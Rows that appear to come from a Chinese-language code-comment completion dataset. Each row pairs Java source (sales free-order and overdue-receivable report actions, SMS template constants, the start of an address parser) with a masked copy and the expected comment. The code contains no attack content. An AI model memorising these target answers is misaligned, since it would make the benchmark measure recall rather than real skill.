* @author panxiaoxiao
* @date May 30, 2014
*/
public String getSalesFreeOrderList()throws Exception{
Map map = CommonUtils.changeMap(request.getParameterMap());
pageMap.setCondition(map);
PageData pageData = salesFreeOrderService.getSalesFreeOrderData(pageMap);
addJSONObject(pageData);
return SUCCESS;
}
/**
* 全局导出放单管理数据
* @author lin_xx
* @date 2016/12/19
*/
public String overalExportSalesFreeOrderList() throws Exception{
Map<String, String> map = CommonUtils.changeMap(request.getParameterMap());
Map queryMap = new HashMap();
queryMap.put("isflag", "true");
String query = (String) map.get("param");
JSONObject object = JSONObject.fromObject(query);
for (Object k : object.keySet()) {
Object v = object.get(k);
if(StringUtils.isNotEmpty((String) v)){
queryMap.put(k.toString(), (String) v);
}
}
pageMap.setCondition(queryMap);
PageData pageData = salesFreeOrderService.getSalesFreeOrderData(pageMap);
List list = pageData.getList();
if(null != pageData.getFooter()){
List footer = pageData.getFooter();
list.addAll(footer);
}
ExcelUtils.exportAnalysExcel(map,list);
return SUCCESS;
}
/**
* 批量审核放单
* @return
* @throws Exception
* @author panxiaoxiao
* @date May 30, 2014
*/
@UserOperateLog(key="SalesFreeOrder",type=3)
public String auditSalesFreeOrder()throws Exception{
String ids = request.getParameter("ids");
Map map = salesFreeOrderService.auditSalesFreeOrder(ids);
addLog("放单审核,编号:"+ids, map.get("flag").equals(true));
addJSONObject(map);
return SUCCESS;
}
/**
* 批量反审放单
* @return
* @throws Exception
* @author panxiaoxiao
* @date May 30, 2014
*/
@UserOperateLog(key="SalesFreeOrder",type=3)
public String oppauditSalesFreeOrder()throws Exception{
String ids = request.getParameter("ids");
Map map = salesFreeOrderService.oppauditSalesFreeOrder(ids);
addLog("放单反审,编号:"+ids, map.get("flag").equals(true));
addJSONObject(map);
return SUCCESS;
}
/**
* 删除反审单
* @return
* @throws Exception
* @author panxiaoxiao
* @date May 30, 2014
*/
@UserOperateLog(key="SalesFreeOrder",type=4)
public String deleteSalesFreeOrder()throws Exception{
String ids = request.getParameter("ids");
boolean flag = salesFreeOrderService.deleteSalesFreeOrder(ids);
addLog("放单删除,编号:"+ids, flag);
addJSONObject("flag", flag);
return SUCCESS;
}
/*--------------------------------应收款---------------------------------------*/
/**
* 显示客户应收款超账原因页面
* @return
* @throws Exception
* @author chenwei
* @date Jul 30, 2013
*/
public String showCustomerReceivablePastDueReasonListPage() throws Exception{
String today = CommonUtils.getTodayDataStr();
String firstDay = CommonUtils.getMonthDateStr();
List list = paymentdaysSetService.getPaymentdaysSetInfo();
request.setAttribute("firstDay", firstDay);
request.setAttribute("today", today);
request.setAttribute("list", list);
return "success";
}
/**
* 获取应收款超账期原因数据
* @return
* @throws Exception
* @author chenwei
* @date Aug 15, 2013
*/
public String showCustomerReceivablePastDueReasonListData() throws Exception{
Map map = CommonUtils.changeMap(request.getParameterMap());
pageMap.setCondition(map);
PageData pageData = salesFreeOrderService.showBaseReceivablePassDueReasonListData(pageMap);
addJSONObjectWithFooter(pageData);
return "success";
}
/**
* 显示分客户品牌业务员应收款超账期原因页面
* @return
* @throws Exception
* @author panxiaoxiao
* @date May 24, 2014
*/
public String showCustomerBranduserReceivablePastDueReasonListPage()throws Exception{
List list = paymentdaysSetService.getPaymentdaysSetInfo();
request.setAttribute("list", list);
return SUCCESS;
}
/**
* 显示分客户业务员应收款超账期原因页面
* @return
* @throws Exception
* @author panxiaoxiao
* @date 2015-08-27
*/
public String showSalesuserReceivablePastDueReasonListPage()throws Exception{
List list = paymentdaysSetService.getPaymentdaysSetInfo();
request.setAttribute("list", list);
return SUCCESS;
}
/**
* 显示分客户业务员明细应收款超账期原因页面
* @return
* @throws Exception
* @author panxiaoxiao
* @date 2015-08-31
*/
public String showSalesuserDetailReceivablePastDueReasonListPage()throws Exception{
String salesuser = request.getParameter("salesuser");
if(StringUtils.isEmpty(salesuser)){
salesuser = "null";
}
request.setAttribute("salesuser",salesuser);
String salesusername = request.getParameter("salesusername");
request.setAttribute("salesusername",salesusername);
List list = paymentdaysSetService.getPaymentdaysSetInfo();
request.setAttribute("list", list);
String ispastdue = request.getParameter("ispastdue");
request.setAttribute("ispastdue",ispastdue);
return SUCCESS;
}
/**
* 编辑客户应收款超账期原因页面
* @return
* @throws Exception
* @author panxiaoxiao
* @date Mar 21, 2014
*/
public String showEditCustomerReceivablePastDueReasonPage()throws Exception{
String customerid = request.getParameter("customerid");
String rowindex = request.getParameter("rowindex");
String saleamount = request.getParameter("saleamount");
String unpassamount = request.getParameter("unpassamount");
String totalpassamount = request.getParameter("totalpassamount");
ReceivablePastDueReason receivablePastDueReason = salesFreeOrderService.getCustomerReceivablePastDueReason(customerid);
request.setAttribute("receivablePastDueReason", receivablePastDueReason);
request.setAttribute("customerid", customerid);
request.setAttribute("rowindex", rowindex);
request.setAttribute("saleamount", saleamount);
request.setAttribute("unpassamount", unpassamount);
request.setAttribute("totalpassamount", totalpassamount);
return SUCCESS;
}
/**
* 导出客户应收款超账期原因
* @throws Exception
* @author panxiaoxiao
* @date Mar 22, 2014
*/
public void exportBasereceivablePastDueResonData()throws Exception{
String groupcols = null,type = null;
Map<String, String> map = CommonUtils.changeMap(request.getParameterMap());
map.put("isflag", "true");
if(map.containsKey("groupcols") && null != map.get("groupcols")){
groupcols = (String)map.get("groupcols");
}
if(map.containsKey("type") && null != map.get("type")){
type = (String)map.get("type");
}
pageMap.setCondition(map);
String title = "";
if(map.containsKey("excelTitle")){
title = map.get("excelTitle").toString();
}
else{
title = "list";
}
if(StringUtils.isEmpty(title)){
title = "list";
}
//数据转换,list转化符合excel导出的数据格式
List<Map<String, Object>> result = new ArrayList<Map<String,Object>>();
Map<String, Object> firstMap = new LinkedHashMap<String, Object>();
if(groupcols.indexOf("branduser") != -1){
firstMap.put("brandusername", "品牌业务员");
firstMap.put("branddeptname", "品牌部门");
}
if(groupcols.indexOf("customerid") != -1){
firstMap.put("customerid", "客户编号");
firstMap.put("customername", "客户名称");
}
if(groupcols.indexOf("salesuser") != -1){
firstMap.put("salesusername", "客户业务员");
}
if(type.equals("customerid")){
firstMap.put("beginamount", "应收款期初");
}
firstMap.put("saleamount", "应收款");
firstMap.put("unpassamount", "正常期金额");
firstMap.put("totalpassamount", "超账期金额");
List<PaymentdaysSet> list2 = paymentdaysSetService.getPaymentdaysSetInfo();
if(list2.size() != 0){
for(PaymentdaysSet paymentdaysSet : list2){
firstMap.put("passamount"+paymentdaysSet.getSeq(),paymentdaysSet.getDetail());
}
}
if(groupcols.indexOf("customerid") != -1){
firstMap.put("overreason", "超账期原因");
firstMap.put("commitmentamount", "承诺到款金额");
firstMap.put("commitmentdate", "承诺到款日期");
firstMap.put("actualamount", "实际到款金额");
firstMap.put("cstmerbalance", "客户余额");
if(type.equals("customerid")){
firstMap.put("realsaleamount", "实际应收款");
firstMap.put("salesusername", "客户业务员");
}
firstMap.put("payeename", "收款人");
if(type.equals("customerid")){
firstMap.put("settletypename", "结算方式");
firstMap.put("settleday", "结算日");
}
}
result.add(firstMap);
PageData pageData = salesFreeOrderService.showBaseReceivablePassDueReasonListData(pageMap);
List<Map<String, Object>> list = mapToMapList(pageData,firstMap);
result.addAll(list);
ExcelUtils.exportExcel(result, title);
}
/**
* 编辑客户应收款超账期原因
* @return
* @throws Exception
* @author panxiaoxiao
* @date Mar 22, 2014
*/
@UserOperateLog(key="ReceivablePastDueReason",type=2,value="")
public String addCustomerReceivablePastDueReason()throws Exception{
Map map = new HashMap();
String rowindex = request.getParameter("rowindex");
Customer isexistCustomer = getBaseSalesService().getCustomerInfo(receivablePastDueReason.getCustomerid());
if(null != isexistCustomer){
map = salesFreeOrderService.addCustomerReceivablePastDueReason(receivablePastDueReason);
addLog("编辑客户应收款超账期原因 客户编号:"+receivablePastDueReason.getCustomerid(),map.get("flag").equals(true));
map.put("rowindex", rowindex);
}else{
map.put("msg", "不存在该客户,请完善数据!");
}
addJSONObject(map);
return SUCCESS;
}
/**
* 一键清除客户应收款超账期原因
* @return
* @throws Exception
* @author panxiaoxiao
* @date May 22, 2014
*/
@UserOperateLog(key="ReceivablePastDueReason",type=4)
public String oneClearReceivablePastDueReason()throws Exception{
boolean flag = salesFreeOrderService.oneClearReceivablePastDueReason();
addLog("一键清除客户应收款超账期原因",flag);
addJSONObject("flag", flag);
return SUCCESS;
}
/**
* 显示历史超账期原因页面
* @return
* @throws Exception
* @author panxiaoxiao
* @date May 23, 2014
*/
public String showHistoryCustomerReceivablePastDueReasonPage()throws Exception{
String customerid = request.getParameter("customerid");
request.setAttribute("customerid", customerid);
return SUCCESS;
}
/**
* 获取历史超账期原因列表数据
* @return
* @throws Exception
* @author panxiaoxiao
* @date May 23, 2014
*/
public String getHistoryCustomerReceivablePastDueReasonList()throws Exception{
Map map = CommonUtils.changeMap(request.getParameterMap());
pageMap.setCondition(map);
PageData pageData = salesFreeOrderService.getHistoryCustomerReceivablePastDueReasonList(pageMap);
addJSONObject(pageData);
return SUCCESS;
}
/**
* 根据客户编码获取该客户销售流水明细数据
* @return
* @throws Exception
* @author panxiaoxiao
* @date May 23, 2014
*/
public String showCustomerSalesFlowDetailListPage()throws Exception{
String customerid = request.getParameter("customerid");
String customername = request.getParameter("customername");
String branduser = request.getParameter("branduser");
String brandusername = request.getParameter("brandusername");
Map map = getAccessColumn("t_report_sales_base");
request.setAttribute("map", map);
request.setAttribute("customerid", customerid);
request.setAttribute("customername", customername);
request.setAttribute("branduser", branduser);
request.setAttribute("brandusername", brandusername);
return SUCCESS;
}
/**
* 代垫应收分析报表
* @param
* @return java.lang.String
* @throws
* @author luoqiang
* @date Oct 27, 2017
*/
public String showSupplierReceivablePastDueReasonListPage() throws Exception {
String today = CommonUtils.getTodayDataStr();
String firstDay = CommonUtils.getMonthDateStr();
List list = paymentdaysSetService.getPaymentdaysSetInfo("3");
request.setAttribute("firstDay", firstDay);
request.setAttribute("today", today);
request.setAttribute("list", list);
return "success";
}
/**
* 获取代垫应收分析报表数据
* @param
* @return java.lang.String
* @throws
* @author luoqiang
* @date Oct 27, 2017
*/
public String showSupplierReceivablePastDueReasonListData() throws Exception{
Map map = CommonUtils.changeMap(request.getParameterMap());
pageMap.setCondition(map);
PageData pageData = salesFreeOrderService.showSupplierReceivablePastDueReasonListData(pageMap);
addJSONObjectWithFooter(pageData);
return "success";
}
/**
* 代垫应收分析报表导出
* @param
* @return void
* @throws
* @author luoqiang
* @date Oct 30, 2017
*/
public void exportSupplierPastDueResonData()throws Exception {
Map<String, String> map = CommonUtils.changeMap(request.getParameterMap());
map.put("isflag", "true");
pageMap.setCondition(map);
String title = "";
if(map.containsKey("excelTitle")){
title = map.get("excelTitle").toString();
}
else{
title = "list";
}
if(StringUtils.isEmpty(title)){
title = "list";
}
//数据转换,list转化符合excel导出的数据格式
List<Map<String, Object>> result = new ArrayList<Map<String,Object>>();
Map<String, Object> firstMap = new LinkedHashMap<String, Object>();
firstMap.put("supplierid", "供应商编号");
firstMap.put("suppliername", "供应商名称");
firstMap.put("beginamount", "应收款期初");
firstMap.put("saleamount", "应收款");
firstMap.put("unpassamount", "正常期金额");
firstMap.put("totalpassamount", "超账期金额");
List<PaymentdaysSet> list2 = paymentdaysSetService.getPaymentdaysSetInfo("3");
if(list2.size() != 0){
for(PaymentdaysSet paymentdaysSet : list2){
firstMap.put("passamount"+paymentdaysSet.getSeq(),paymentdaysSet.getDetail());
}
}
firstMap.put("settletypename", "结算方式");
firstMap.put("settleday", "结算日");
result.add(firstMap);
PageData pageData = salesFreeOrderService.showSupplierReceivablePastDueReasonListData(pageMap);
List<Map<String, Object>> list = mapToMapList(pageData,firstMap);
result.addAll(list);
ExcelUtils.exportExcel(result, title);
}
/**
* 根据供应商获取代垫应收明细数据
* @param
* @return java.lang.String
* @throws
* @author luoqiang
* @date Oct 30, 2017
*/
public String showSupplierMatcostsListPage()throws Exception {
String supplierid=request.getParameter("supplierid");
String suppliername=request.getParameter("suppliername");
request.setAttribute("supplierid",supplierid);
request.setAttribute("suppliername",suppliername);
request.setAttribute("today",CommonUtils.getTodayDateStr());
return SUCCESS;
}
/**
* 显示供应商代垫超账期数据页面
* @param
* @return java.lang.String
* @throws
* @author luoqiang
* @date Oct 31, 2017
*/
public String showSendSupplierPastDueListPage(){
return SUCCESS;
}
}
| 1045907427/project | general/account/com/hd/agent/account/action/SalesFreeOrderAction.java | 5,234 | /*--------------------------------应收款---------------------------------------*/ | block_comment | zh-cn | /**
* @(#)SalesFreeOrderAction.java
* @author chenwei
* 版本历史
* -------------------------------------------------------------------------
* 时间 作者 内容
* -------------------------------------------------------------------------
* 2014年5月29日 chenwei 创建版本
*/
package com.hd.agent.account.action;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.LinkedHashMap;
import java.util.List;
import java.util.Map;
import net.sf.json.JSONObject;
import org.apache.commons.lang3.StringUtils;
import com.hd.agent.account.model.ReceivablePastDueReason;
import com.hd.agent.account.service.ISalesFreeOrderService;
import com.hd.agent.basefiles.action.BaseFilesAction;
import com.hd.agent.basefiles.model.Customer;
import com.hd.agent.common.annotation.UserOperateLog;
import com.hd.agent.common.util.CommonUtils;
import com.hd.agent.common.util.ExcelUtils;
import com.hd.agent.common.util.PageData;
import com.hd.agent.report.model.PaymentdaysSet;
import com.hd.agent.report.service.IPaymentdaysSetService;
/**
*
* 销售放单管理
* @author chenwei
*/
public class SalesFreeOrderAction extends BaseFilesAction {
/**
*
*/
private static final long serialVersionUID = -9212376617314235765L;
/**
* 销售放单管理service
*/
private ISalesFreeOrderService salesFreeOrderService;
private IPaymentdaysSetService paymentdaysSetService;
private ReceivablePastDueReason receivablePastDueReason;
public ReceivablePastDueReason getReceivablePastDueReason() {
return receivablePastDueReason;
}
public void setReceivablePastDueReason(
ReceivablePastDueReason receivablePastDueReason) {
this.receivablePastDueReason = receivablePastDueReason;
}
public ISalesFreeOrderService getSalesFreeOrderService() {
return salesFreeOrderService;
}
public void setSalesFreeOrderService(
ISalesFreeOrderService salesFreeOrderService) {
this.salesFreeOrderService = salesFreeOrderService;
}
public IPaymentdaysSetService getPaymentdaysSetService() {
return paymentdaysSetService;
}
public void setPaymentdaysSetService(
IPaymentdaysSetService paymentdaysSetService) {
this.paymentdaysSetService = paymentdaysSetService;
}
/**
* 显示放单列表页面
* @return
* @throws Exception
* @author panxiaoxiao
* @date May 30, 2014
*/
public String showSalesFreeOrderListPage()throws Exception{
String today = CommonUtils.getTodayDataStr();
request.setAttribute("today", today);
return SUCCESS;
}
/**
* 获取放单列表
* @return
* @throws Exception
* @author panxiaoxiao
* @date May 30, 2014
*/
public String getSalesFreeOrderList()throws Exception{
Map map = CommonUtils.changeMap(request.getParameterMap());
pageMap.setCondition(map);
PageData pageData = salesFreeOrderService.getSalesFreeOrderData(pageMap);
addJSONObject(pageData);
return SUCCESS;
}
/**
* 全局导出放单管理数据
* @author lin_xx
* @date 2016/12/19
*/
public String overalExportSalesFreeOrderList() throws Exception{
Map<String, String> map = CommonUtils.changeMap(request.getParameterMap());
Map queryMap = new HashMap();
queryMap.put("isflag", "true");
String query = (String) map.get("param");
JSONObject object = JSONObject.fromObject(query);
for (Object k : object.keySet()) {
Object v = object.get(k);
if(StringUtils.isNotEmpty((String) v)){
queryMap.put(k.toString(), (String) v);
}
}
pageMap.setCondition(queryMap);
PageData pageData = salesFreeOrderService.getSalesFreeOrderData(pageMap);
List list = pageData.getList();
if(null != pageData.getFooter()){
List footer = pageData.getFooter();
list.addAll(footer);
}
ExcelUtils.exportAnalysExcel(map,list);
return SUCCESS;
}
/**
* 批量审核放单
* @return
* @throws Exception
* @author panxiaoxiao
* @date May 30, 2014
*/
@UserOperateLog(key="SalesFreeOrder",type=3)
public String auditSalesFreeOrder()throws Exception{
String ids = request.getParameter("ids");
Map map = salesFreeOrderService.auditSalesFreeOrder(ids);
addLog("放单审核,编号:"+ids, map.get("flag").equals(true));
addJSONObject(map);
return SUCCESS;
}
/**
* 批量反审放单
* @return
* @throws Exception
* @author panxiaoxiao
* @date May 30, 2014
*/
@UserOperateLog(key="SalesFreeOrder",type=3)
public String oppauditSalesFreeOrder()throws Exception{
String ids = request.getParameter("ids");
Map map = salesFreeOrderService.oppauditSalesFreeOrder(ids);
addLog("放单反审,编号:"+ids, map.get("flag").equals(true));
addJSONObject(map);
return SUCCESS;
}
/**
* 删除反审单
* @return
* @throws Exception
* @author panxiaoxiao
* @date May 30, 2014
*/
@UserOperateLog(key="SalesFreeOrder",type=4)
public String deleteSalesFreeOrder()throws Exception{
String ids = request.getParameter("ids");
boolean flag = salesFreeOrderService.deleteSalesFreeOrder(ids);
addLog("放单删除,编号:"+ids, flag);
addJSONObject("flag", flag);
return SUCCESS;
}
/*--- <SUF>*/
/**
* 显示客户应收款超账原因页面
* @return
* @throws Exception
* @author chenwei
* @date Jul 30, 2013
*/
public String showCustomerReceivablePastDueReasonListPage() throws Exception{
String today = CommonUtils.getTodayDataStr();
String firstDay = CommonUtils.getMonthDateStr();
List list = paymentdaysSetService.getPaymentdaysSetInfo();
request.setAttribute("firstDay", firstDay);
request.setAttribute("today", today);
request.setAttribute("list", list);
return "success";
}
/**
* 获取应收款超账期原因数据
* @return
* @throws Exception
* @author chenwei
* @date Aug 15, 2013
*/
public String showCustomerReceivablePastDueReasonListData() throws Exception{
Map map = CommonUtils.changeMap(request.getParameterMap());
pageMap.setCondition(map);
PageData pageData = salesFreeOrderService.showBaseReceivablePassDueReasonListData(pageMap);
addJSONObjectWithFooter(pageData);
return "success";
}
/**
* 显示分客户品牌业务员应收款超账期原因页面
* @return
* @throws Exception
* @author panxiaoxiao
* @date May 24, 2014
*/
public String showCustomerBranduserReceivablePastDueReasonListPage()throws Exception{
List list = paymentdaysSetService.getPaymentdaysSetInfo();
request.setAttribute("list", list);
return SUCCESS;
}
/**
* 显示分客户业务员应收款超账期原因页面
* @return
* @throws Exception
* @author panxiaoxiao
* @date 2015-08-27
*/
public String showSalesuserReceivablePastDueReasonListPage()throws Exception{
List list = paymentdaysSetService.getPaymentdaysSetInfo();
request.setAttribute("list", list);
return SUCCESS;
}
/**
* 显示分客户业务员明细应收款超账期原因页面
* @return
* @throws Exception
* @author panxiaoxiao
* @date 2015-08-31
*/
public String showSalesuserDetailReceivablePastDueReasonListPage()throws Exception{
String salesuser = request.getParameter("salesuser");
if(StringUtils.isEmpty(salesuser)){
salesuser = "null";
}
request.setAttribute("salesuser",salesuser);
String salesusername = request.getParameter("salesusername");
request.setAttribute("salesusername",salesusername);
List list = paymentdaysSetService.getPaymentdaysSetInfo();
request.setAttribute("list", list);
String ispastdue = request.getParameter("ispastdue");
request.setAttribute("ispastdue",ispastdue);
return SUCCESS;
}
/**
* 编辑客户应收款超账期原因页面
* @return
* @throws Exception
* @author panxiaoxiao
* @date Mar 21, 2014
*/
public String showEditCustomerReceivablePastDueReasonPage()throws Exception{
String customerid = request.getParameter("customerid");
String rowindex = request.getParameter("rowindex");
String saleamount = request.getParameter("saleamount");
String unpassamount = request.getParameter("unpassamount");
String totalpassamount = request.getParameter("totalpassamount");
ReceivablePastDueReason receivablePastDueReason = salesFreeOrderService.getCustomerReceivablePastDueReason(customerid);
request.setAttribute("receivablePastDueReason", receivablePastDueReason);
request.setAttribute("customerid", customerid);
request.setAttribute("rowindex", rowindex);
request.setAttribute("saleamount", saleamount);
request.setAttribute("unpassamount", unpassamount);
request.setAttribute("totalpassamount", totalpassamount);
return SUCCESS;
}
/**
* 导出客户应收款超账期原因
* @throws Exception
* @author panxiaoxiao
* @date Mar 22, 2014
*/
public void exportBasereceivablePastDueResonData()throws Exception{
String groupcols = null,type = null;
Map<String, String> map = CommonUtils.changeMap(request.getParameterMap());
map.put("isflag", "true");
if(map.containsKey("groupcols") && null != map.get("groupcols")){
groupcols = (String)map.get("groupcols");
}
if(map.containsKey("type") && null != map.get("type")){
type = (String)map.get("type");
}
pageMap.setCondition(map);
String title = "";
if(map.containsKey("excelTitle")){
title = map.get("excelTitle").toString();
}
else{
title = "list";
}
if(StringUtils.isEmpty(title)){
title = "list";
}
//数据转换,list转化符合excel导出的数据格式
List<Map<String, Object>> result = new ArrayList<Map<String,Object>>();
Map<String, Object> firstMap = new LinkedHashMap<String, Object>();
if(groupcols.indexOf("branduser") != -1){
firstMap.put("brandusername", "品牌业务员");
firstMap.put("branddeptname", "品牌部门");
}
if(groupcols.indexOf("customerid") != -1){
firstMap.put("customerid", "客户编号");
firstMap.put("customername", "客户名称");
}
if(groupcols.indexOf("salesuser") != -1){
firstMap.put("salesusername", "客户业务员");
}
if(type.equals("customerid")){
firstMap.put("beginamount", "应收款期初");
}
firstMap.put("saleamount", "应收款");
firstMap.put("unpassamount", "正常期金额");
firstMap.put("totalpassamount", "超账期金额");
List<PaymentdaysSet> list2 = paymentdaysSetService.getPaymentdaysSetInfo();
if(list2.size() != 0){
for(PaymentdaysSet paymentdaysSet : list2){
firstMap.put("passamount"+paymentdaysSet.getSeq(),paymentdaysSet.getDetail());
}
}
if(groupcols.indexOf("customerid") != -1){
firstMap.put("overreason", "超账期原因");
firstMap.put("commitmentamount", "承诺到款金额");
firstMap.put("commitmentdate", "承诺到款日期");
firstMap.put("actualamount", "实际到款金额");
firstMap.put("cstmerbalance", "客户余额");
if(type.equals("customerid")){
firstMap.put("realsaleamount", "实际应收款");
firstMap.put("salesusername", "客户业务员");
}
firstMap.put("payeename", "收款人");
if(type.equals("customerid")){
firstMap.put("settletypename", "结算方式");
firstMap.put("settleday", "结算日");
}
}
result.add(firstMap);
PageData pageData = salesFreeOrderService.showBaseReceivablePassDueReasonListData(pageMap);
List<Map<String, Object>> list = mapToMapList(pageData,firstMap);
result.addAll(list);
ExcelUtils.exportExcel(result, title);
}
/**
* 编辑客户应收款超账期原因
* @return
* @throws Exception
* @author panxiaoxiao
* @date Mar 22, 2014
*/
@UserOperateLog(key="ReceivablePastDueReason",type=2,value="")
public String addCustomerReceivablePastDueReason()throws Exception{
Map map = new HashMap();
String rowindex = request.getParameter("rowindex");
Customer isexistCustomer = getBaseSalesService().getCustomerInfo(receivablePastDueReason.getCustomerid());
if(null != isexistCustomer){
map = salesFreeOrderService.addCustomerReceivablePastDueReason(receivablePastDueReason);
addLog("编辑客户应收款超账期原因 客户编号:"+receivablePastDueReason.getCustomerid(),map.get("flag").equals(true));
map.put("rowindex", rowindex);
}else{
map.put("msg", "不存在该客户,请完善数据!");
}
addJSONObject(map);
return SUCCESS;
}
/**
* 一键清除客户应收款超账期原因
* @return
* @throws Exception
* @author panxiaoxiao
* @date May 22, 2014
*/
@UserOperateLog(key="ReceivablePastDueReason",type=4)
public String oneClearReceivablePastDueReason()throws Exception{
boolean flag = salesFreeOrderService.oneClearReceivablePastDueReason();
addLog("一键清除客户应收款超账期原因",flag);
addJSONObject("flag", flag);
return SUCCESS;
}
/**
* 显示历史超账期原因页面
* @return
* @throws Exception
* @author panxiaoxiao
* @date May 23, 2014
*/
public String showHistoryCustomerReceivablePastDueReasonPage()throws Exception{
String customerid = request.getParameter("customerid");
request.setAttribute("customerid", customerid);
return SUCCESS;
}
/**
* 获取历史超账期原因列表数据
* @return
* @throws Exception
* @author panxiaoxiao
* @date May 23, 2014
*/
public String getHistoryCustomerReceivablePastDueReasonList()throws Exception{
Map map = CommonUtils.changeMap(request.getParameterMap());
pageMap.setCondition(map);
PageData pageData = salesFreeOrderService.getHistoryCustomerReceivablePastDueReasonList(pageMap);
addJSONObject(pageData);
return SUCCESS;
}
/**
* 根据客户编码获取该客户销售流水明细数据
* @return
* @throws Exception
* @author panxiaoxiao
* @date May 23, 2014
*/
public String showCustomerSalesFlowDetailListPage()throws Exception{
String customerid = request.getParameter("customerid");
String customername = request.getParameter("customername");
String branduser = request.getParameter("branduser");
String brandusername = request.getParameter("brandusername");
Map map = getAccessColumn("t_report_sales_base");
request.setAttribute("map", map);
request.setAttribute("customerid", customerid);
request.setAttribute("customername", customername);
request.setAttribute("branduser", branduser);
request.setAttribute("brandusername", brandusername);
return SUCCESS;
}
/**
* 代垫应收分析报表
* @param
* @return java.lang.String
* @throws
* @author luoqiang
* @date Oct 27, 2017
*/
public String showSupplierReceivablePastDueReasonListPage() throws Exception {
String today = CommonUtils.getTodayDataStr();
String firstDay = CommonUtils.getMonthDateStr();
List list = paymentdaysSetService.getPaymentdaysSetInfo("3");
request.setAttribute("firstDay", firstDay);
request.setAttribute("today", today);
request.setAttribute("list", list);
return "success";
}
/**
* 获取代垫应收分析报表数据
* @param
* @return java.lang.String
* @throws
* @author luoqiang
* @date Oct 27, 2017
*/
public String showSupplierReceivablePastDueReasonListData() throws Exception{
Map map = CommonUtils.changeMap(request.getParameterMap());
pageMap.setCondition(map);
PageData pageData = salesFreeOrderService.showSupplierReceivablePastDueReasonListData(pageMap);
addJSONObjectWithFooter(pageData);
return "success";
}
/**
* 代垫应收分析报表导出
* @param
* @return void
* @throws
* @author luoqiang
* @date Oct 30, 2017
*/
public void exportSupplierPastDueResonData()throws Exception {
Map<String, String> map = CommonUtils.changeMap(request.getParameterMap());
map.put("isflag", "true");
pageMap.setCondition(map);
String title = "";
if(map.containsKey("excelTitle")){
title = map.get("excelTitle").toString();
}
else{
title = "list";
}
if(StringUtils.isEmpty(title)){
title = "list";
}
//数据转换,list转化符合excel导出的数据格式
List<Map<String, Object>> result = new ArrayList<Map<String,Object>>();
Map<String, Object> firstMap = new LinkedHashMap<String, Object>();
firstMap.put("supplierid", "供应商编号");
firstMap.put("suppliername", "供应商名称");
firstMap.put("beginamount", "应收款期初");
firstMap.put("saleamount", "应收款");
firstMap.put("unpassamount", "正常期金额");
firstMap.put("totalpassamount", "超账期金额");
List<PaymentdaysSet> list2 = paymentdaysSetService.getPaymentdaysSetInfo("3");
if(list2.size() != 0){
for(PaymentdaysSet paymentdaysSet : list2){
firstMap.put("passamount"+paymentdaysSet.getSeq(),paymentdaysSet.getDetail());
}
}
firstMap.put("settletypename", "结算方式");
firstMap.put("settleday", "结算日");
result.add(firstMap);
PageData pageData = salesFreeOrderService.showSupplierReceivablePastDueReasonListData(pageMap);
List<Map<String, Object>> list = mapToMapList(pageData,firstMap);
result.addAll(list);
ExcelUtils.exportExcel(result, title);
}
/**
* 根据供应商获取代垫应收明细数据
* @param
* @return java.lang.String
* @throws
* @author luoqiang
* @date Oct 30, 2017
*/
public String showSupplierMatcostsListPage()throws Exception {
String supplierid=request.getParameter("supplierid");
String suppliername=request.getParameter("suppliername");
request.setAttribute("supplierid",supplierid);
request.setAttribute("suppliername",suppliername);
request.setAttribute("today",CommonUtils.getTodayDateStr());
return SUCCESS;
}
/**
* 显示供应商代垫超账期数据页面
* @param
* @return java.lang.String
* @throws
* @author luoqiang
* @date Oct 31, 2017
*/
public String showSendSupplierPastDueListPage(){
return SUCCESS;
}
}
| 1 |
63595_2 | package com.mit.common.constant;
/**
* 短信常量
*
* @author shuyy
* @date 2018/12/10
* @company mitesofor
*/
public class SmsConstants {
/**
* 签名
*/
public static final String SIGN_MXKJ = "珉轩科技";
/**
* 模板code-统一验证码:
* 验证码${code},您正在注册成为新用户,感谢您的支持!
*/
public static final String MODEL_CODE_NORMAL_VERIFICATION = "SMS_152506558";
/**
* 模板code-修改密码:
* 验证码${code},您正在尝试修改登录密码,请妥善保管账户信息。
*/
public static final String MODEL_CODE_MODIFIED_PASSWORD = "SMS_152470939";
/**
* 模板code-登陆确认:
* 验证码${code},您正在登录,若非本人操作,请勿泄露。
*/
public static final String MODEL_CODE_LOGIN_CONFIRM = "SMS_152470942";
/**
* 模板code-身份验证验证码:
* 验证码${code},您正在进行身份验证,打死不要告诉别人哦!
*/
public static final String MODEL_CODE_AUTHENTICATION = "SMS_152470943";
/**
* 事件上报模板code
*/
public static final String MODEL_CODE_WARN = "SMS_166778828";
/**
* 事件处理模板code
*/
public static final String MODEL_CODE_SJCL = "SMS_168587002";
/**
* 车位占用模板code
*/
public static final String MODEL_CODE_CWZY = "SMS_153331544";
}
| 1056215801/-MITC-YING_TAN | common/src/main/java/com/mit/common/constant/SmsConstants.java | 452 | /**
* 模板code-统一验证码:
* 验证码${code},您正在注册成为新用户,感谢您的支持!
*/ | block_comment | zh-cn | package com.mit.common.constant;
/**
* 短信常量
*
* @author shuyy
* @date 2018/12/10
* @company mitesofor
*/
public class SmsConstants {
/**
* 签名
*/
public static final String SIGN_MXKJ = "珉轩科技";
/**
* 模板c <SUF>*/
public static final String MODEL_CODE_NORMAL_VERIFICATION = "SMS_152506558";
/**
* 模板code-修改密码:
* 验证码${code},您正在尝试修改登录密码,请妥善保管账户信息。
*/
public static final String MODEL_CODE_MODIFIED_PASSWORD = "SMS_152470939";
/**
* 模板code-登陆确认:
* 验证码${code},您正在登录,若非本人操作,请勿泄露。
*/
public static final String MODEL_CODE_LOGIN_CONFIRM = "SMS_152470942";
/**
* 模板code-身份验证验证码:
* 验证码${code},您正在进行身份验证,打死不要告诉别人哦!
*/
public static final String MODEL_CODE_AUTHENTICATION = "SMS_152470943";
/**
* 事件上报模板code
*/
public static final String MODEL_CODE_WARN = "SMS_166778828";
/**
* 事件处理模板code
*/
public static final String MODEL_CODE_SJCL = "SMS_168587002";
/**
* 车位占用模板code
*/
public static final String MODEL_CODE_CWZY = "SMS_153331544";
}
| 1 |
26648_10 | //package AddressBook;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import org.json.JSONArray;
import org.json.JSONObject;
public class Resolution {
public static JSONObject addressResolution(String txt,char flag)
{
JSONObject jsonObject=new JSONObject();
//char flag=txt.charAt(0);//flag为难度级别
int endIndex1=txt.lastIndexOf(",");//取出逗号的索引
String name=txt.substring(0, endIndex1);//截取姓名
//取手机号
String pNumber=null;
String REPLACE = "";
String regexP = "0?(13|14|15|18|17)[0-9]{9}";
Pattern r = Pattern.compile(regexP);
